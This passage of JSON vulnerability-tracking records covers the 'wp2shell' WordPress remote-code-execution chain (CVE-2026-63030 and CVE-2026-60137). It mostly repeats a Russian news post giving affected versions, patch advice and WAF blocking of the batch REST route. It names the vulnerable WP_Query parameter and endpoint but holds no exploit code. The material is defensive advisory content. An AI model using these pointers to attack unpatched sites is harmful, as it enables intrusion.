\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0441 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2 \u0438\u043b\u0438 6.9.5.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0432 \u0434\u0432\u0443\u0445 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-63030, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0443\u044e\u0441\u044f \u0432 WordPress 6.9. \u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f CVE-2026-60137 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 author__not_in\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 WP_Query. WordPress \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e WordPress 6.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c WordPress, \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.0-6.9.4 \u0438 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 7.0.0-7.0.1.\n\nSQL-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.8.0\u20136.8.5, \u043d\u043e \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0441 RCE, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043b\u0438\u0448\u044c \u0432 WordPress 6.9.\n\nSearchlight Cyber \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043b\u0430 wp2shell.com, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043b\u0438 \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, Searchlight Cyber \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a REST API \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c /wp-json/batch/v1 \u0438 ?rest_route=/batch/v1 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 WAF.\n\nCloudflare \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e WAF \u043d\u0430 \u0432\u0441\u0435\u0445 \u0442\u0430\u0440\u0438\u0444\u043d\u044b\u0445 \u043f\u043b\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0435\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cloudflare, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 (CVE-2026-60137), \u0442\u0430\u043a \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API (CVE-2026-63030). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u0430 WAF \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439.", "url": "https://t.me/cyberwarehouse/1166"}, {"timestamp": "2026-07-26T05:02:37.945Z", "date_only": false, "value": "2026-07-26T05:02:37.945127Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrjm3uyai72n", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "4e0de459-e6bc-467d-9135-faad42adc7fb", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 59 interactions\nCVE-2026-60137: 48 interactions\nCVE-2026-50522: 42 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-30623: 7 interactions\nCVE-2026-58662: 4 interactions\nCVE-2026-12569: 2 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrjm3uyai72n"}, {"timestamp": "2026-07-26T22:00:03.828Z", "date_only": false, "value": "2026-07-26T22:00:03.828046Z", "kind": "sighting", "label": "Seen", "source": "Telegram/Pju2lk9uaKkbkjso0NTtdRvjd808czCF5fWgGC8yN_eU0QM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "99651ca6-6429-4d2b-953c-0368ffd2d2ca"}, {"timestamp": "2026-07-27T00:00:08.963Z", "date_only": false, "value": "2026-07-27T00:00:08.963042Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Pju2lk9uaKkbkjso0NTtdRvjd808czCF5fWgGC8yN_eU0QM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2426a1db-c829-4f70-93bd-7732fbb94ecc"}, {"timestamp": "2026-07-27T00:00:35.219Z", "date_only": false, "value": "2026-07-27T00:00:35.219680Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/1166", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2b5116a4-5f78-4ea2-9c51-7b44ce8ed226", "content": "\u0412 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0440\u0430\u0441\u0448\u0430\u0440\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 wp2shell, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u044f\u0434\u0440\u043e WordPress. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 WordPress 6.9.5 \u0438 7.0.2 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a wp2shell.\n\n\u0410\u0442\u0430\u043a\u0430 wp2shell \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - CVE-2026-63030 \u0438 CVE-2026-60137, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.x \u0438 7.0.x.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u0443\u044d\u0441\u043e\u043c \u0438\u0437 Searchlight Cyber, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0443 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0442 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u0438 \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 WordPress \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c Searchlight Cyber, \u0431\u043e\u043b\u0435\u0435 500 \u043c\u043b\u043d. \u0441\u0430\u0439\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 WordPress, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u0435\u0439\u0447\u0430\u0441, \u043a\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0441 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2 \u0438\u043b\u0438 6.9.5.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0432 \u0434\u0432\u0443\u0445 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-63030, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0443\u044e\u0441\u044f \u0432 WordPress 6.9. \u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f CVE-2026-60137 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 author__not_in\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 WP_Query. WordPress \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e WordPress 6.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c WordPress, \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.0-6.9.4 \u0438 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 7.0.0-7.0.1.\n\nSQL-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.8.0\u20136.8.5, \u043d\u043e \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0441 RCE, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043b\u0438\u0448\u044c \u0432 WordPress 6.9.\n\nSearchlight Cyber \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043b\u0430 wp2shell.com, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043b\u0438 \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, Searchlight Cyber \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a REST API \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c /wp-json/batch/v1 \u0438 ?rest_route=/batch/v1 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 WAF.\n\nCloudflare \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e WAF \u043d\u0430 \u0432\u0441\u0435\u0445 